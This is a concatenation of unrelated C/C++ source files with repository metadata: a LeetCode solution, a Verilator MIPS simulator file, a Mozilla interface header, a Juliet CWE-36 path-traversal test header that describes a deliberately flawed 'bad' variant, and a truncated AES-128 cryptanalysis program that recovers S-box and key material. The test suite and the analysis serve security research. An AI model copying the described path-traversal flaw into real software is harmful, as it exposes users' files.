// LeetCode // // Created by Hongyan on 02/13/17. // Copyright © 2017 Hongyan. All rights reserved. // class Solution { private: TreeNode* helper(vector<int>& inorder, int instart, int inend, vector<int>& postorder, int poststart, int postend) { if(instart >= inend || poststart >= postend) return NULL; TreeNode* root = new TreeNode(postorder[postend-1]); int pos; for(int i = 0; i < inorder.size(); i++) { if(inorder[i] == root->val) { pos = i; break; } } int leftSize = pos - instart; int rightSize = inend - pos - 1; root->left = helper(inorder, instart, pos, postorder, poststart, poststart + pos - instart); root->right = helper(inorder, pos + 1, inend, postorder, poststart + pos - instart, postend-1); return root; } public: TreeNode* buildTree(vector<int>& inorder, vector<int>& postorder) { if(inorder.empty() || postorder.empty() || inorder.size() != postorder.size()) return NULL; return helper(inorder, 0, inorder.size(), postorder, 0, postorder.size()); } };
[ "hongyan0627@gmail.com" ]
hongyan0627@gmail.com
a51d7c2ceb6bec2575761794f668ef765ea69031
8add11f812b191fc654c55a48247b1d97d509d0f
/SZE/OODB/kyberszittya/Rec4/Recitation4/Labirintus/common.h
0a72f6eb407e6eb40024fbd84ea8cbbb86093c1b
[]
no_license
kyberszittya/ClassRoomExamples
df136b87bbd31bfa0009340f4398200221fdc1c2
15eb99701abfcac305944c7e0a7d17e8764ce610
refs/heads/master
2020-07-14T14:12:29.088256
2019-11-04T22:36:55
2019-11-04T22:36:55
205,332,314
0
4
null
2019-08-30T07:48:32
2019-08-30T07:48:30
null
UTF-8
C++
false
false
258
h
#pragma once #include <fstream> enum MovingDirection { ESZAK, KELET, NYUGAT, DEL }; enum UnitType {MONSTER, HERO, OBSTACLE}; struct Coordinate { unsigned int x; unsigned int y; }; std::ostream& operator<<(std::ostream& file, const Coordinate& coord);
[ "kyberszittya@protonmail.ch" ]
kyberszittya@protonmail.ch
2ba9dd6bb11ebeadce4d4ec5a31aaca6c37bca01
f05ec8fe9375f1e613adbbf8dcf14b71289cb91d
/MIPS32SOC-Part3/build/verilog-build/VMIPS32SOC_RegisterFile.cpp
469daecf4f1d26e30ac0a051ead565a272865414
[]
no_license
itsJaan/ProcesadorMIPS32
942d69efa2c32e872e7d951013672f9265690777
46808945a543f61f5974642566d5e0e16027697a
refs/heads/master
2021-04-07T06:51:49.857216
2020-03-20T03:01:42
2020-03-20T03:01:42
248,655,513
0
0
null
null
null
null
UTF-8
C++
false
false
4,630
cpp
// Verilated -*- C++ -*- // DESCRIPTION: Verilator output: Design implementation internals // See VMIPS32SOC.h for the primary calling header #include "VMIPS32SOC_RegisterFile.h" // For This #include "VMIPS32SOC__Syms.h" #include "verilated_dpi.h" //-------------------- // STATIC VARIABLES //-------------------- VL_CTOR_IMP(VMIPS32SOC_RegisterFile) { // Reset internal values // Reset structure values _ctor_var_reset(); } void VMIPS32SOC_RegisterFile::__Vconfigure(VMIPS32SOC__Syms* vlSymsp, bool first) { if (0 && first) {} // Prevent unused this->__VlSymsp = vlSymsp; } VMIPS32SOC_RegisterFile::~VMIPS32SOC_RegisterFile() { } //-------------------- // Internal Methods void VMIPS32SOC_RegisterFile::_initial__TOP__MIPS32SOC__reg_file__1(VMIPS32SOC__Syms* __restrict vlSymsp) { VL_DEBUG_IF(VL_DBG_MSGF("+ VMIPS32SOC_RegisterFile::_initial__TOP__MIPS32SOC__reg_file__1\n"); ); VMIPS32SOC* __restrict vlTOPp VL_ATTR_UNUSED = vlSymsp->TOPp; // Body // INITIAL at /home/itsjaan/Escritorio/OrganizaciondeComputadoras/Procesador_Proyecto/MIPS32SOC-Part3/build/MIPS32SOC.v:465 vlSymsp->TOP__MIPS32SOC__reg_file.memory[0U] = 0U; } VL_INLINE_OPT void VMIPS32SOC_RegisterFile::_settle__TOP__MIPS32SOC__reg_file__2(VMIPS32SOC__Syms* __restrict vlSymsp) { VL_DEBUG_IF(VL_DBG_MSGF("+ VMIPS32SOC_RegisterFile::_settle__TOP__MIPS32SOC__reg_file__2\n"); ); VMIPS32SOC* __restrict vlTOPp VL_ATTR_UNUSED = vlSymsp->TOPp; // Body vlSymsp->TOP__MIPS32SOC__reg_file.__PVT__read_data1 = vlSymsp->TOP__MIPS32SOC__reg_file.memory[ (0x1fU & (vlSymsp->TOP__MIPS32SOC__inst_mem.read_data__out__out0 >> 0x15U))]; vlSymsp->TOP__MIPS32SOC__reg_file.__PVT__read_data2 = vlSymsp->TOP__MIPS32SOC__reg_file.memory[ (0x1fU & (vlSymsp->TOP__MIPS32SOC__inst_mem.read_data__out__out0 >> 0x10U))]; } VL_INLINE_OPT void VMIPS32SOC_RegisterFile::_sequent__TOP__MIPS32SOC__reg_file__3(VMIPS32SOC__Syms* __restrict vlSymsp) { VL_DEBUG_IF(VL_DBG_MSGF("+ VMIPS32SOC_RegisterFile::_sequent__TOP__MIPS32SOC__reg_file__3\n"); ); VMIPS32SOC* __restrict vlTOPp VL_ATTR_UNUSED = vlSymsp->TOPp; // Variables VL_SIG8(__Vdlyvdim0__memory__v0,4,0); VL_SIG8(__Vdlyvset__memory__v0,0,0); VL_SIG(__Vdlyvval__memory__v0,31,0); // Body __Vdlyvset__memory__v0 = 0U; // ALWAYS at /home/itsjaan/Escritorio/OrganizaciondeComputadoras/Procesador_Proyecto/MIPS32SOC-Part3/build/MIPS32SOC.v:459 if ((0x100U & (IData)(vlSymsp->TOP__MIPS32SOC.__PVT__ControlUnit_i0__DOT__s9))) { __Vdlyvval__memory__v0 = ((4U & (IData)(vlSymsp->TOP__MIPS32SOC.__PVT__ControlUnit_i0__DOT__s9)) ? ((4U & (IData)(vlSymsp->TOP__MIPS32SOC.__PVT__ControlUnit_i0__DOT__s9)) ? ((((2U & (IData)(vlSymsp->TOP__MIPS32SOC.__PVT__ControlUnit_i0__DOT__s9)) ? vlSymsp->TOP__MIPS32SOC__data_mem.memory [(0xffU & ((IData)(vlSymsp->TOP__MIPS32SOC.__PVT__s22) >> 2U))] : 0U) & ((2U & (IData)(vlSymsp->TOP__MIPS32SOC.__PVT__ControlUnit_i0__DOT__s9)) ? 0xffffffffU : 0U)) & ((2U & (IData)(vlSymsp->TOP__MIPS32SOC.__PVT__ControlUnit_i0__DOT__s9)) ? 0xffffffffU : 0U)) : 0U) : vlSymsp->TOP__MIPS32SOC.__PVT__ALU_i11__DOT__res_temp); __Vdlyvset__memory__v0 = 1U; __Vdlyvdim0__memory__v0 = (0x1fU & ((0x40U & (IData)(vlSymsp->TOP__MIPS32SOC.__PVT__ControlUnit_i0__DOT__s9)) ? ((0x40U & (IData)(vlSymsp->TOP__MIPS32SOC.__PVT__ControlUnit_i0__DOT__s9)) ? (vlSymsp->TOP__MIPS32SOC__inst_mem.read_data__out__out0 >> 0xbU) : 0U) : (vlSymsp->TOP__MIPS32SOC__inst_mem.read_data__out__out0 >> 0x10U))); } // ALWAYSPOST at /home/itsjaan/Escritorio/OrganizaciondeComputadoras/Procesador_Proyecto/MIPS32SOC-Part3/build/MIPS32SOC.v:462 if (__Vdlyvset__memory__v0) { vlSymsp->TOP__MIPS32SOC__reg_file.memory[__Vdlyvdim0__memory__v0] = __Vdlyvval__memory__v0; } } void VMIPS32SOC_RegisterFile::_ctor_var_reset() { VL_DEBUG_IF(VL_DBG_MSGF("+ VMIPS32SOC_RegisterFile::_ctor_var_reset\n"); ); // Body __PVT__read_addr1 = VL_RAND_RESET_I(5); __PVT__read_addr2 = VL_RAND_RESET_I(5); __PVT__write_addr = VL_RAND_RESET_I(5); __PVT__write_data = VL_RAND_RESET_I(32); __PVT__write_en = VL_RAND_RESET_I(1); __PVT__clk = VL_RAND_RESET_I(1); __PVT__read_data1 = VL_RAND_RESET_I(32); __PVT__read_data2 = VL_RAND_RESET_I(32); { int __Vi0=0; for (; __Vi0<32; ++__Vi0) { memory[__Vi0] = VL_RAND_RESET_I(32); }} }
[ "nunez0467@gmail.com" ]
nunez0467@gmail.com
e313c10a7a9aa69bbf6190d5723971a5f91a4ff3
1f1cc05377786cc2aa480cbdfde3736dd3930f73
/xulrunner-sdk-26/xulrunner-sdk/include/xpcexception.h
9960d33ca2a2e943573ed2492ef0f0495bac3244
[ "Apache-2.0" ]
permissive
julianpistorius/gp-revolution-gaia
84c3ec5e2f3b9e76f19f45badc18d5544bb76e0d
6e27b83efb0d4fa4222eaf25fb58b062e6d9d49e
refs/heads/master
2021-01-21T02:49:54.000389
2014-03-27T09:58:17
2014-03-27T09:58:17
null
0
0
null
null
null
null
UTF-8
C++
false
false
4,554
h
/* * DO NOT EDIT. THIS FILE IS GENERATED FROM /builds/slave/m-cen-l64-xr-ntly-000000000000/build/js/xpconnect/idl/xpcexception.idl */ #ifndef __gen_xpcexception_h__ #define __gen_xpcexception_h__ #ifndef __gen_nsISupports_h__ #include "nsISupports.h" #endif #ifndef __gen_nsIException_h__ #include "nsIException.h" #endif /* For IDL files that don't want to include root IDL files. */ #ifndef NS_NO_VTABLE #define NS_NO_VTABLE #endif #include "jsapi.h" /* starting interface: nsIXPCException */ #define NS_IXPCEXCEPTION_IID_STR "cac29630-7bf2-4e22-811b-46855a7d5af0" #define NS_IXPCEXCEPTION_IID \ {0xcac29630, 0x7bf2, 0x4e22, \ { 0x81, 0x1b, 0x46, 0x85, 0x5a, 0x7d, 0x5a, 0xf0 }} class NS_NO_VTABLE nsIXPCException : public nsIException { public: NS_DECLARE_STATIC_IID_ACCESSOR(NS_IXPCEXCEPTION_IID) /* void initialize (in string aMessage, in nsresult aResult, in string aName, in nsIStackFrame aLocation, in nsISupports aData, in nsIException aInner); */ NS_IMETHOD Initialize(const char * aMessage, nsresult aResult, const char * aName, nsIStackFrame *aLocation, nsISupports *aData, nsIException *aInner) = 0; /* [noscript] xpcexJSVal stealJSVal (); */ NS_IMETHOD StealJSVal(jsval *_retval) = 0; /* [noscript] void stowJSVal (in xpcexJSContextPtr cx, in xpcexJSVal val); */ NS_IMETHOD StowJSVal(JSContext *cx, jsval val) = 0; }; NS_DEFINE_STATIC_IID_ACCESSOR(nsIXPCException, NS_IXPCEXCEPTION_IID) /* Use this macro when declaring classes that implement this interface. */ #define NS_DECL_NSIXPCEXCEPTION \ NS_IMETHOD Initialize(const char * aMessage, nsresult aResult, const char * aName, nsIStackFrame *aLocation, nsISupports *aData, nsIException *aInner); \ NS_IMETHOD StealJSVal(jsval *_retval); \ NS_IMETHOD StowJSVal(JSContext *cx, jsval val); /* Use this macro to declare functions that forward the behavior of this interface to another object. */ #define NS_FORWARD_NSIXPCEXCEPTION(_to) \ NS_IMETHOD Initialize(const char * aMessage, nsresult aResult, const char * aName, nsIStackFrame *aLocation, nsISupports *aData, nsIException *aInner) { return _to Initialize(aMessage, aResult, aName, aLocation, aData, aInner); } \ NS_IMETHOD StealJSVal(jsval *_retval) { return _to StealJSVal(_retval); } \ NS_IMETHOD StowJSVal(JSContext *cx, jsval val) { return _to StowJSVal(cx, val); } /* Use this macro to declare functions that forward the behavior of this interface to another object in a safe way. */ #define NS_FORWARD_SAFE_NSIXPCEXCEPTION(_to) \ NS_IMETHOD Initialize(const char * aMessage, nsresult aResult, const char * aName, nsIStackFrame *aLocation, nsISupports *aData, nsIException *aInner) { return !_to ? NS_ERROR_NULL_POINTER : _to->Initialize(aMessage, aResult, aName, aLocation, aData, aInner); } \ NS_IMETHOD StealJSVal(jsval *_retval) { return !_to ? NS_ERROR_NULL_POINTER : _to->StealJSVal(_retval); } \ NS_IMETHOD StowJSVal(JSContext *cx, jsval val) { return !_to ? NS_ERROR_NULL_POINTER : _to->StowJSVal(cx, val); } #if 0 /* Use the code below as a template for the implementation class for this interface. */ /* Header file */ class nsXPCException : public nsIXPCException { public: NS_DECL_ISUPPORTS NS_DECL_NSIXPCEXCEPTION nsXPCException(); private: ~nsXPCException(); protected: /* additional members */ }; /* Implementation file */ NS_IMPL_ISUPPORTS1(nsXPCException, nsIXPCException) nsXPCException::nsXPCException() { /* member initializers and constructor code */ } nsXPCException::~nsXPCException() { /* destructor code */ } /* void initialize (in string aMessage, in nsresult aResult, in string aName, in nsIStackFrame aLocation, in nsISupports aData, in nsIException aInner); */ NS_IMETHODIMP nsXPCException::Initialize(const char * aMessage, nsresult aResult, const char * aName, nsIStackFrame *aLocation, nsISupports *aData, nsIException *aInner) { return NS_ERROR_NOT_IMPLEMENTED; } /* [noscript] xpcexJSVal stealJSVal (); */ NS_IMETHODIMP nsXPCException::StealJSVal(jsval *_retval) { return NS_ERROR_NOT_IMPLEMENTED; } /* [noscript] void stowJSVal (in xpcexJSContextPtr cx, in xpcexJSVal val); */ NS_IMETHODIMP nsXPCException::StowJSVal(JSContext *cx, jsval val) { return NS_ERROR_NOT_IMPLEMENTED; } /* End of implementation class template. */ #endif /********************************************************/ // {5632BF70-51EC-11d3-9896-006008962422} #define NS_XPCEXCEPTION_CID \ { 0x5632bf70, 0x51ec, 0x11d3, \ { 0x98, 0x96, 0x0, 0x60, 0x8, 0x96, 0x24, 0x22 } } #endif /* __gen_xpcexception_h__ */
[ "luis@geeksphone.com" ]
luis@geeksphone.com
ef63bf55c69af10f554f658a8ac3a5ae38b9ac25
948f4e13af6b3014582909cc6d762606f2a43365
/testcases/juliet_test_suite/testcases/CWE36_Absolute_Path_Traversal/s04/CWE36_Absolute_Path_Traversal__wchar_t_listen_socket_ifstream_81.h
78fd818234353f96a950052e8e86dd8f3f0f7bef
[]
no_license
junxzm1990/ASAN--
0056a341b8537142e10373c8417f27d7825ad89b
ca96e46422407a55bed4aa551a6ad28ec1eeef4e
refs/heads/master
2022-08-02T15:38:56.286555
2022-06-16T22:19:54
2022-06-16T22:19:54
408,238,453
74
13
null
2022-06-16T22:19:55
2021-09-19T21:14:59
null
UTF-8
C++
false
false
1,454
h
/* TEMPLATE GENERATED TESTCASE FILE Filename: CWE36_Absolute_Path_Traversal__wchar_t_listen_socket_ifstream_81.h Label Definition File: CWE36_Absolute_Path_Traversal.label.xml Template File: sources-sink-81.tmpl.h */ /* * @description * CWE: 36 Absolute Path Traversal * BadSource: listen_socket Read data using a listen socket (server side) * GoodSource: Full path and file name * Sinks: ifstream * BadSink : Open the file named in data using ifstream::open() * Flow Variant: 81 Data flow: data passed in a parameter to a virtual method called via a reference * * */ #include "std_testcase.h" #ifndef _WIN32 #include <wchar.h> #endif namespace CWE36_Absolute_Path_Traversal__wchar_t_listen_socket_ifstream_81 { class CWE36_Absolute_Path_Traversal__wchar_t_listen_socket_ifstream_81_base { public: /* pure virtual function */ virtual void action(wchar_t * data) const = 0; }; #ifndef OMITBAD class CWE36_Absolute_Path_Traversal__wchar_t_listen_socket_ifstream_81_bad : public CWE36_Absolute_Path_Traversal__wchar_t_listen_socket_ifstream_81_base { public: void action(wchar_t * data) const; }; #endif /* OMITBAD */ #ifndef OMITGOOD class CWE36_Absolute_Path_Traversal__wchar_t_listen_socket_ifstream_81_goodG2B : public CWE36_Absolute_Path_Traversal__wchar_t_listen_socket_ifstream_81_base { public: void action(wchar_t * data) const; }; #endif /* OMITGOOD */ }
[ "yzhang0701@gmail.com" ]
yzhang0701@gmail.com
49f7d0698026f3cd37c99680be65a0f3b3057467
f8ea7e042a62404b1f420a7cc84b7c3167191f57
/SimLib/ExceptionSignal.h
50ae15490b7370794bbd015d165af1522fc6afb9
[]
no_license
alexbikfalvi/SimNet
0a22d8bd0668e86bf06bfb72d123767f24248b48
20b24e15647db5467a1187f8be5392570023d670
refs/heads/master
2016-09-15T17:50:23.459189
2013-07-05T14:41:18
2013-07-05T14:41:18
null
0
0
null
null
null
null
UTF-8
C++
false
false
1,028
h
#pragma once /* * Copyright (C) 2011 Alex Bikfalvi * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3 of the License, or (at * your option) any later version. * * This program is distributed in the hope that it will be useful, but * WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. */ #include "Exception.h" namespace SimLib { class ExceptionSignal : public Exception { public: ExceptionSignal( const char* file, uint line, const char* format = "", ... ) throw(); virtual ~ExceptionSignal() throw() { } }; }
[ "alex@bikfalvi.com" ]
alex@bikfalvi.com
fdb8cb2cdcf3882608001190c08f15f6347f8fc5
8cde1eaffc0350214d29b968d6933bd015d59102
/tiny-AES128/test.cpp
83f8202ecedcd77b85950b2e90f3a09063b70cb6
[]
no_license
Will-Z/AES-128
b6cd8cae99476cd15a98a3dc5b46aa6218b79ea8
99a330b083c36cff94be23368ab6774eca8d5c68
refs/heads/master
2016-09-13T11:17:49.366310
2016-06-03T06:53:58
2016-06-03T06:53:58
56,960,305
0
0
null
null
null
null
UTF-8
C++
false
false
28,845
cpp
#include <stdio.h> #include <string.h> #include <stdint.h> #include <math.h> // Enable both ECB and CBC mode. Note this can be done before including aes.h or at compile-time. // E.g. with GCC by using the -D flag: gcc -c aes.c -DCBC=0 -DECB=1 #define CBC 1 #define ECB 1 #include "aes.h" static void phex(uint8_t* str); static void test_encrypt_ecb(void); static void test_decrypt_ecb(uint8_t Aset[][16]); static void test_encrypt_ecb_verbose(void); static void test_encrypt_cbc(void); static void test_decrypt_cbc(void); static void create_Aset(int num); static void calc_SS(); static void calc_kk(); static int affine(int num); static void calc_DD(); static void calc_M32(); //计算 32*32的 M矩阵 static void read_M32(); static void calc_AM(); //计算 A逆 static bool judgeR(int x[32]); uint8_t Aset[256][16]; int v[8] = {0, 1, 0, 1, 0, 1, 1, 1}; int SS[256]; //S' int kk[16]; //k' bool Eq[2048][2049]; //方程系数矩阵 int A[8][8]; //仿射矩阵 int AM[8][8]; //A的逆 uint8_t plain_text[256][16]; // 明文 int DD[256][4]; //D' int M[32][32]; //32*32的 M矩阵 static const uint8_t sbox[256] = { //0 1 2 3 4 5 6 7 8 9 A B C D E F 0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15, 0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75, 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, 0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, 0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, 0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, 0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb, 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, 0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08, 0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, 0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf, 0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16 }; uint8_t key[] = {0x2b, 0x7e, 0x15, 0x16, 0x28, 0xae, 0xd2, 0xa6, 0xab, 0xf7, 0x15, 0x88, 0x09, 0xcf, 0x4f, 0x3c}; int main(void) { //test_encrypt_cbc(); //test_decrypt_cbc(); //test_encrypt_ecb(); //test_decrypt_ecb(); //测试 affine() FILE *Ain; Ain = fopen("/Users/Will/Programming/Clion/tiny-AES128/Debug/A.txt", "r"); for (int i = 0; i < 8; i++) for (int j = 0; j < 8; j++) fscanf(Ain, "%d", &A[i][j]); fclose(Ain); /*// FILE *Aaffine_table; Aaffine_table = fopen("/Users/Will/Programming/Clion/tiny-AES128/Debug/Aaffine_table.txt", "w"); for (int i = 0; i < 256; i++) fprintf(Aaffine_table, "%d: %d\n",i, affine(i)); fclose(Aaffine_table); */ // 生成SS for (int i = 0; i < 256; i++) SS[i] = affine(sbox[i ^ key[0]]); //SS[i] = sbox[i]; // 先假设 S' 等于 S盒 /* // 输出S' SS[] FILE *SSout; SSout = fopen("/Users/Will/Programming/Clion/tiny-AES128/Debug/SS_table.txt", "w"); for (int i = 0; i < 256; i++) fprintf(SSout, "%d: %d\n", i, SS[i]); fclose(SSout); FILE *AMin; AMin = fopen("/Users/Will/Programming/Clion/tiny-AES128/Debug/AM.txt", "r"); for (int i = 0; i < 8; i++) for (int j = 0; j < 8; j++) fscanf(AMin, "%d", &A[i][j]); fclose(AMin); int SSS[256]; for (int i = 0; i < 256; i++) SSS[i] = affine(SS[i ^ key[0]]); FILE *SSSout; SSSout = fopen("/Users/Will/Programming/Clion/tiny-AES128/Debug/SSS_table.txt", "w"); for (int i = 0; i < 256; i++) fprintf(SSout, "%d: %d %d %d\n", i,sbox[i], SS[i], SSS[i]); fclose(SSSout); */ /* //将 0-255 对应的affine 打印到 affine.txt FILE *Aout; Aout = fopen("/Users/Will/Programming/Clion/tiny-AES128/Debug/affine.txt", "w"); for (int i = 0; i < 256; i++) fprintf(Aout, "%d: %d\n", i, affine(i)); fclose(Aout); */ /* for (int i = 0; i < 256; i++) { FILE *fout; create_Aset(i); //生成A-set //printf("%d : ", i); test_decrypt_ecb(Aset); fout = fopen("/Users/Will/Programming/Clion/tiny-AES128/Debug/pi.txt", "a"); fprintf(fout, "\n"); fclose(fout); } //256*256 明文第一个字节 "pi.txt" calc_SS(); //计算S' SS[] */ /* for (int i = 0; i < 256; i++) for (int j = 0; j < 16; j++) plain_text[i][j] = (int)affine(plain_text[i][j]); */ /* //print plain_text FILE *ffout; ffout = fopen("/Users/Will/Programming/Clion/tiny-AES128/Debug/plain_text.txt", "w"); for(int i = 0; i < 256; i++) { // fprintf(ffout, "%d: ", i); for (int j = 0; j <16; j++) fprintf(ffout, "0x%.2x ",plain_text[i][j]); fprintf(ffout, "\n"); } fclose(ffout); */ //test_encrypt_ecb(); /* for (int i = 0; i < 16; i++) //kk[i] = -1; kk[i] = key[i]; //先假设 k'等于key */ calc_kk(); /* // 打印kk[] for (int i = 0; i < 16; i++) printf("%d: %d %d\n",i, key[i], kk[i]); printf("\n"); /* /* FILE *AMin; AMin = fopen("/Users/Will/Programming/Clion/tiny-AES128/Debug/AM.txt", "r"); for (int i = 0; i < 8; i++) for (int j = 0; j < 8; j++) fscanf(AMin, "%d", &A[i][j]); fclose(AMin); */ /* FILE *AMaffine_table; AMaffine_table = fopen("/Users/Will/Programming/Clion/tiny-AES128/Debug/AMaffine_table.txt", "w"); for (int i = 0; i < 256; i++) fprintf(AMaffine_table, "%d: %d\n",i, affine(i)); fclose(AMaffine_table); */ /* //---------------------------------------------------------- create_Aset(0); // // 使用第二个位置是 num_Aset 的这个 Aset for (int i = 0; i < 256; i++) AES128_ECB_decrypt(Aset[i], key, plain_text[i]); calc_DD(); for (int i = 0; i < 256; i++) { for (int j = 0; j < 4; j++) { DD[i][j] = affine(DD[i][j]); } } uint8_t matrix[16]; uint8_t output[16]; for (int i = 0; i <256; i++) { for (int j = 0; j < 16; j++) matrix[j] = 0x00; for (int j = 0; j < 4; j++) matrix[j] =(uint8_t) DD[i][j]; test_DD(matrix, key, output); } *///--------------------------------------------------------------- calc_AM(); // 打印AM[] for (int i = 0; i < 8; i++) { for (int j = 0; j < 8; j++) printf("%d ", AM[i][j]); printf("\n"); } //------------------------------------------ /* int ans_key[16]; int ans_sbox[256]; for (int i = 0; i < 8; i++) for (int j = 0; j < 8; j++) A[i][j] = AM[i][j]; for (int k = 0; k < 256; k++) { int count = 0; for (int i = 0; i < 256; i++) if (affine(SS[i]) == sbox[i ^ k]) count++; if (count == 256) ans_key[0] = k; } for (int i = 1; i < 16; i++) ans_key[i] = kk[i] ^ ans_key[0]; for (int i = 0; i < 256; i++) ans_sbox[i ^ ans_key[0]] = affine(SS[i]); for (int i = 0; i < 256; i++) printf("%d: %.2x\n", i, ans_sbox[i]); */ //------------------------------------------ return 0; } static bool judgeR(int x[32]) { int count = 0; //统计 1 的个数 for (int i = 0; i < 256; i++) { int y[32]; //将DD 化成32比特的形式存在y[]中 for (int l = 0; l < 4; l++) { // printf("%d ", DD[i][l]); for (int k = 0; k < 8; k++) { if (DD[i][l] & (1 << k)) //低位在前 y[7 - k + l * 8] = 1; else y[7 - k + l * 8] = 0; } } // for (int j = 0; j < 32; j++) // printf("%d ",y[j]); // printf("\n"); //printf("\n"); // printf("%d: ", i); // for (int j = 0; j < 32; j++) // printf("%d ", y[j]); // printf("\n"); int sum = 0; for (int j = 0; j < 32; j++) //sum ^= x[j] ^ y[j]; if (x[j]) sum ^= y[j]; if (sum) count++; } if (count == 128) // 0 和 1 各有 128个 符合 R性质 return true; else return false; } //====================================================================================================================== static void calc_AM() { int count[256]; memset(count, 0, sizeof(int) * 256); /* //将DD打印到DD.txt FILE *DDout; DDout = fopen("/Users/Will/Programming/Clion/tiny-AES128/Debug/DD.txt", "w"); for (int i = 0; i < 256; i++) { //fprintf(DDout, "%d: ", i); for (int j = 0; j < 4; j++) fprintf(DDout, "%d ", DD[i][j]); fprintf(DDout, "\n"); } fclose(DDout); */ for (int i = 0; i < 8; i++) //将 AM[0] 固定为 1000 0000 AM[0][i] = 0; AM[0][7] = 1; for (int i = 1; i < 8; i++) for (int j = 0; j < 8; j++) AM[i][j] = -1; int x[32]; int a[8]; //------------------------------------------------------------------------------- 计算 AM[1] (a1, a0^a1, a0, a0) //printf("<%d>----------------------\n", 1); for (int num_Aset = 0; num_Aset < 256; num_Aset++) { create_Aset(num_Aset); // // 使用第二个位置是 num_Aset 的这个 Aset for (int i = 0; i < 256; i++) AES128_ECB_decrypt(Aset[i], key, plain_text[i]); calc_DD(); for (int i = 16; i <= 23; i++) x[i] = AM[0][i - 16]; for (int i = 24; i <= 31; i++) x[i] = AM[0][i - 24]; for (int num = 0; num < 256; num++) { //枚举 2^8 for (int k = 0; k < 8; k++) { if (num & (1 << k)) //低位数在前 a[7 - k] = 1; else a[7 - k] = 0; } for (int k = 0; k < 8; k++) x[k] = a[k]; for (int k = 8; k <= 15; k++) x[k] = a[k - 8] ^ AM[0][k - 8]; if (judgeR(x)) count[num]++; } } for (int i = 0; i < 256; i++) if (count[i] == 256) { for (int j = 0; j < 8; j++) if (i & (1 << j)) AM[1][7 - j] = 1; else AM[1][7 - j] = 0; } // for (int i = 0; i < 8; i++) // printf("%d ",AM[1][i]); //--------------------------------------------------------------------------------计算AM[2] (a2, a1^a2, a1, a1) //printf("<%d>----------------------\n", 2); // 先假定 AM[1] 0100 0000 // for (int i = 0; i < 8; i++) // AM[1][i] = 0; // AM[1][1] = 1; memset(count, 0, sizeof(int) * 256); for (int num_Aset = 0; num_Aset < 256; num_Aset++) { create_Aset(num_Aset); // // 使用第二个位置是 num_Aset 的这个 Aset for (int i = 0; i < 256; i++) AES128_ECB_decrypt(Aset[i], key, plain_text[i]); calc_DD(); for (int i = 16; i <= 23; i++) x[i] = AM[1][i - 16]; for (int i = 24; i <= 31; i++) x[i] = AM[1][i - 24]; for (int num = 0; num < 256; num++) { for (int k = 0; k < 8; k++) { if (num & (1 << k)) a[7 - k] = 1; else a[7 - k] = 0; } for (int k = 0; k < 8; k++) x[k] = a[k]; for (int k = 8; k <= 15; k++) x[k] = a[k - 8] ^ AM[1][k - 8]; if (judgeR(x)) count[num]++; } } for (int i = 0; i < 256; i++) if (count[i] == 256) { for (int j = 0; j < 8; j++) if (i & (1 << j)) AM[2][7 - j] = 1; else AM[2][7 - j] = 0; } // for (int i = 0; i < 8; i++) // printf("%d ", AM[2][i]); //-----------------------------------------------------------------------------计算AM[3] (a3, a2^a3, a2, a2) // 先假定 AM[2] 0010 0000 // for (int i = 0; i < 8; i++) // AM[2][i] = 0; // AM[2][2] = 1; memset(count, 0, sizeof(int) * 256); for (int num_Aset = 0; num_Aset < 256; num_Aset++) { create_Aset(num_Aset); // // 使用第二个位置是 num_Aset 的这个 Aset for (int i = 0; i < 256; i++) AES128_ECB_decrypt(Aset[i], key, plain_text[i]); calc_DD(); for (int i = 16; i <= 23; i++) x[i] = AM[2][i - 16]; for (int i = 24; i <= 31; i++) x[i] = AM[2][i - 24]; 